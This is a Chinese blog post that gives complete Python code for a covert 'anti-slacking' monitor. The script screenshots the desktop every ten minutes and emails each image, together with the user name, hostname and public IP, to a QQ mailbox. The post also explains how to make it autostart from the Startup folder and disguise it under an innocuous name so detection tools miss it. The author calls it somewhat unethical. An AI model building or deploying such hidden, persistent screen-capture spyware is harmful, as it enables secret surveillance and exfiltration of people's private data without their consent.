Python实现电脑监视器,防止摸鱼,可实现定时截屏并发送到指定邮箱

        适用于公司防止摸鱼(虽然有点不道德),可使用pyinstaller工具打包,生成快捷方式,再放到

C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 路径就可以实现开机自启动

能获取 时间, ip,用户名,计算机名

我采用的是伪装成windmillworker  不会有程序检测到

 e395bef60f8d419eb6d646f477886945.png

授权码获取方法:

    这里以QQ邮箱为例,其他邮箱可百度

8c1bf34e194f47c68ff8945473d9e9ec.png

完整代码:

import time,os,socket,requests,smtplib
from PIL import ImageGrab
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
host_name = socket.gethostname()
user_name = os.getlogin()
ip = requests.get('http://ifconfig.me/ip', timeout=1).text.strip()
def run(title,text,img):
    number = '发送的邮箱' # 必须和授权码的邮箱一致
    sender = '接收的邮箱' # 可随便填
    password = '授权码' # QQ邮箱申请的授权码
    receivers = number
    content = MIMEText(text, _subtype="html", _charset="utf-8")
    msg = MIMEMultipart('related')
    msg.attach(content)
    imageFile = fr"{img}"
    imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])
    imageApart.add_header('Content-Disposition', 'attachment', filename=imageFile)
    msg.attach(imageApart)
    msg['Subject'] = title
    msg['From'] = sender
    msg['To'] = receivers
    try:
        server = smtplib.SMTP('smtp.qq.com')
        server.login(sender, password)
        server.sendmail(msg['From'], msg['To'].split(','), msg.as_string())
        print(f'发送成功')
    except smtplib.SMTPException as e:
        print(f'发送失败{e}')
while True:
    ImageGrab.grab().save(r"img.png")
    info = f'时间:{time.strftime("%Y-%m-%d %H:%M:%S")}\nip:{ip}\n用户名:{user_name}\n计算机名:{host_name}'
    run(f'{user_name}',f'{info}','img.png')
    os.remove('img.png')
    time.sleep(600) # 这里可根据需求自行设置时间

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值